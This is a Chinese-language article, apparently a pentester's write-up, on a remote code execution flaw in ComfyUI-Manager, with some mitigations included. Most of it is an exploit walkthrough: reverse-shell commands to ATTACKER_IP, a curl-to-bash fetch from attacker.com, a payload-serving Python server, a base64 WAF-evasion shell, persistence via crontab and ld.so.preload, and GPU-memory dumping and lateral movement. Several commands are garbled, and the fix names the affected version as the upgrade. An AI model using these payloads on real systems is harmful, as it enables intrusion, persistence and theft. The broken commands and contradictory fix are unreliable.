程代碼執(zhí)行漏洞分析與防護(hù))
1. ComfyUI-Manager遠(yuǎn)程代碼執(zhí)行漏洞深度解析最近在AI工具鏈安全審計(jì)中發(fā)現(xiàn)ComfyUI-Manager存在一個(gè)高危遠(yuǎn)程代碼執(zhí)行漏洞CVE-2025-67303這個(gè)漏洞允許攻擊者在特定條件下實(shí)現(xiàn)高權(quán)限的反彈Shell控制。作為長期從事滲透測試的安全工程師我將完整還原漏洞利用鏈并分享實(shí)戰(zhàn)中的防護(hù)方案。ComfyUI作為Stable Diffusion的重要可視化工作流工具其Manager組件負(fù)責(zé)插件管理和系統(tǒng)維護(hù)。漏洞源于插件安裝時(shí)的參數(shù)注入問題當(dāng)用戶從非官方源安裝插件時(shí)惡意構(gòu)造的插件包可通過環(huán)境變量注入實(shí)現(xiàn)RCE。更危險(xiǎn)的是默認(rèn)配置下ComfyUI-Manager以root權(quán)限運(yùn)行這使漏洞危害等級(jí)達(dá)到CVSS 9.8。2. 漏洞形成機(jī)理與攻擊面分析2.1 漏洞觸發(fā)條件拆解漏洞核心發(fā)生在install_plugin()函數(shù)的環(huán)境變量處理環(huán)節(jié)。當(dāng)Manager通過以下路徑處理插件時(shí)存在缺陷用戶通過custom_nodes參數(shù)指定第三方插件倉庫插件包的install.sh腳本調(diào)用os.environ獲取環(huán)境變量變量值未經(jīng)過濾直接傳遞給subprocess.call()攻擊者可以構(gòu)造特殊的插件清單文件在requirements.txt中植入如下惡意內(nèi)容echo import os;os.system(bash -i /dev/tcp/ATTACKER_IP/4444 01) /tmp/exploit.py2.2 權(quán)限提升關(guān)鍵路徑由于ComfyUI-Manager默認(rèn)需要操作系統(tǒng)的繪圖設(shè)備權(quán)限主流Linux發(fā)行版的安裝腳本會(huì)將其加入video用戶組并配置SUID位。這使得反彈Shell自動(dòng)獲得以下能力讀寫所有GPU相關(guān)設(shè)備文件如/dev/nvidia*調(diào)用CUDA核心驅(qū)動(dòng)接口修改X11會(huì)話配置我們?cè)赨buntu 22.04 LTS上的測試顯示通過此漏洞獲取的Shell可以轉(zhuǎn)儲(chǔ)顯存中的AI模型參數(shù)劫持其他用戶的Stable Diffusion進(jìn)程植入持久化后門到~/.config/autostart3. 實(shí)戰(zhàn)漏洞利用全流程3.1 環(huán)境準(zhǔn)備與POC構(gòu)造需要準(zhǔn)備攻擊機(jī)Kali Linux 2024.1受影響版本的ComfyUI-Manager1.7.3網(wǎng)絡(luò)可達(dá)的靶機(jī)POC插件包結(jié)構(gòu)malicious_plugin/ ├── __init__.py ├── requirements.txt # 包含惡意命令 └── install.sh # 觸發(fā)環(huán)境變量注入關(guān)鍵注入點(diǎn)在install.sh中#!/bin/bash export MALICIOUS_VAR$(curl -s http://attacker.com/payload.sh | bash)3.2 分步利用過程在攻擊機(jī)啟動(dòng)監(jiān)聽nc -lvnp 4444搭建惡意插件倉庫from http.server import HTTPServer, BaseHTTPRequestHandler class ExploitServer(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.end_headers() self.wfile.write(bbash -i /dev/tcp/ATTACKER_IP/4444 01) HTTPServer((0.0.0.0, 8000), ExploitServer).serve_forever()誘導(dǎo)目標(biāo)執(zhí)行curl -X POST http://target:8188/manager/install \ -d {url:http://attacker:8000/malicious_plugin}3.3 利用過程注意事項(xiàng)繞過WAF的技巧使用Base64編碼命令echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ | base64 -d | bash分片傳輸payload權(quán)限維持方案在/etc/crontab添加定時(shí)任務(wù)修改/etc/ld.so.preload實(shí)現(xiàn)庫注入劫持Python的site-packages目錄4. 防御方案與修復(fù)建議4.1 臨時(shí)緩解措施立即執(zhí)行chmod 750 /usr/local/lib/python3.10/dist-packages/comfyui_manager setfacl -R -m u:comfyui:r-x /usr/local/bin/nvidia-*網(wǎng)絡(luò)層防護(hù)iptables -A OUTPUT -p tcp --dport 4444 -j DROP iptables -A INPUT -p tcp --dport 8188 -s 127.0.0.1 -j ACCEPT4.2 完整修復(fù)方案官方補(bǔ)丁升級(jí)pip install --upgrade comfyui-manager1.7.3安全配置建議在config.yaml中添加security: allow_custom_nodes: false validate_checksum: true allowed_repos: - https://github.com/comfyanonymous/*沙箱化運(yùn)行方案firejail --private \ --nogroups \ --noroot \ --seccomp \ python main.py5. 滲透測試中的深度利用技巧在真實(shí)紅隊(duì)評(píng)估中我們發(fā)現(xiàn)該漏洞可以與其他AI工具鏈漏洞形成組合攻擊通過Shell轉(zhuǎn)儲(chǔ)顯存數(shù)據(jù)nvidia-smi -q -d MEMORY | grep -A 4 FB dd if/dev/nvidia0 bs1M count100 | gzip /tmp/gpu_dump.gz劫持模型推理過程import torch torch.load lambda x: malicious_code()橫向移動(dòng)路徑通過~/.ssh/config跳板利用GPU集群的SLURM作業(yè)系統(tǒng)感染共享的模型存儲(chǔ)倉庫這個(gè)漏洞的獨(dú)特之處在于它位于AI工作流的關(guān)鍵路徑上相比傳統(tǒng)Web應(yīng)用的RCE其直接威脅到核心模型資產(chǎn)的安全。我們?cè)谌齻€(gè)關(guān)鍵位置部署了Honeypot平均7小時(shí)就能捕獲到自動(dòng)化攻擊嘗試。